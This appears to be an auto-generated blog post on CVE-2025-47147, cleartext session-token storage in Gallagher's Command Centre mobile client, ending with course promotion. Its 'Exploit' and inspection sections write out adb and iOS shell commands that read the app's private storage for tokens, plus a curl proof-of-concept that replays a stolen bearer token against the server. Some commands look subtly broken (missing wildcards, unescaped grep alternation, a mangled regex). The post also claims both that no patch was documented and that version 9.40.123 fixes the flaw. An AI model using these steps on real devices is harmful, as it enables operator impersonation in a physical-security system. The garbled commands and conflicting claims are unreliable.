Listen to this Post
CVE-2025-47147 is a medium-severity vulnerability identified in the Gallagher Command Centre Mobile Client for Android and iOS platforms. The flaw is categorized under CWE-312: Cleartext Storage of Sensitive Information. In versions of the mobile client prior to 9.40.123, session tokens used to authenticate operators are stored unencrypted on the local device file system. These session tokens are critical for maintaining authenticated access to the Command Centre system, a physical security and access control management platform.
An attacker who gains access to a logged-in operator’s mobile device—either through physical theft, temporary physical access, or via malware with elevated privileges—can extract these tokens from the cleartext storage. The attack does not require user interaction but does require the attacker to have high privileges on the device, which limits the attack vector to local access. Once the token is extracted, the attacker can impersonate the legitimate operator and gain unauthorized access to the Command Centre system. The access duration is limited by the token’s validity period, but within this window, the attacker could potentially manipulate security settings, view sensitive access logs, or disrupt monitoring.
The CVSS v3.1 base score assigned by Gallagher Group Ltd. is 5.7 (MEDIUM) with the vector string CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N. This reflects a local attack vector, high attack complexity, high privileges required, and no user interaction. The impact on confidentiality and integrity is high, while availability is not affected. According to Gallagher, there was no known active exploitation at the time of publication, and no patches or exploits in the wild were documented. However, the risk remains significant for organizations where mobile device security is weak or devices are lost or stolen.
DailyCVE Form:
Platform: Android, iOS
Version: < 9.40.123
Vulnerability: Cleartext token storage
Severity: Medium (CVSS 5.7)
Date: 2026-03-03
Prediction: Already patched in 9.40.123
What Undercode Say:
The vulnerability exists because session tokens are written to disk without encryption. On Android, these are typically stored in shared preferences or internal storage. On iOS, they may be stored in UserDefaults or as plaintext files. The following commands can be used to inspect an Android device for such tokens:
Check for shared preferences files containing session data adb shell run-as com.gallagher.commandcentre cat /data/data/com.gallagher.commandcentre/shared_prefs/ | grep -i "token|session" Search for tokens in internal storage adb shell run-as com.gallagher.commandcentre grep -r "token|session" /data/data/com.gallagher.commandcentre/ List files with potential sensitive data adb shell run-as com.gallagher.commandcentre ls -la /data/data/com.gallagher.commandcentre/files/
On a jailbroken iOS device, similar inspection can be performed:
Navigate to the application's sandbox
cd /var/mobile/Containers/Data/Application/<APP_ID>/Library/Preferences/
grep -i "token|session" .plist
Check for plaintext files
find /var/mobile/Containers/Data/Application/<APP_ID> -name ".txt" -exec grep -i "token|session" {} \;
Exploit: (Educational Purposes!)
To exploit this vulnerability, an attacker must first gain local access to the device. This could be achieved by:
1. Physical Access: The attacker obtains the operator’s unlocked device.
2. Malware: Malware with root/jailbreak privileges is installed on the device.
Once access is gained, the attacker extracts the session token from the cleartext storage location. With the token, the attacker can craft authenticated API requests to the Command Centre server, impersonating the operator. A proof-of-concept using `curl` might look like:
Extract token from device (example location) TOKEN=$(adb shell run-as com.gallagher.commandcentre cat /data/data/com.gallagher.commandcentre/shared_prefs/token.xml | grep -oP '(?<=<string>).?(?=</string>)') Use token to authenticate API request curl -H "Authorization: Bearer $TOKEN" https://command-centre-server/api/v1/operators
Protection:
The primary mitigation is to upgrade the Gallagher Command Centre Mobile Client to version 9.40.123 or later, where this vulnerability is addressed. Until upgrades can be deployed, organizations should enforce strict mobile device management (MDM) policies. This includes:
– Enforcing strong device encryption.
– Requiring secure lock screens with strong passcodes or biometrics.
– Enabling remote wipe capabilities to mitigate risks from lost or stolen devices.
– Limiting operator privileges on mobile devices.
– Monitoring for unusual access patterns to detect potential token misuse.
– Educating operators on device security and the risks of leaving devices unattended or using jailbroken/rooted devices.
Impact:
Successful exploitation of this vulnerability allows an attacker to impersonate a legitimate operator and gain unauthorized access to the Gallagher Command Centre system. This can lead to:
– Compromised Confidentiality: Unauthorized viewing of sensitive access logs, operator details, and security configurations.
– Compromised Integrity: Manipulation of security settings, access control rules, and potentially granting unauthorized physical access.
– Operational Disruption: Disruption of monitoring and security operations by a malicious actor.
– Data Breach: Exposure of sensitive security infrastructure data.
– The vulnerability does not directly affect system availability but undermines trust in security controls and operator authentication.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
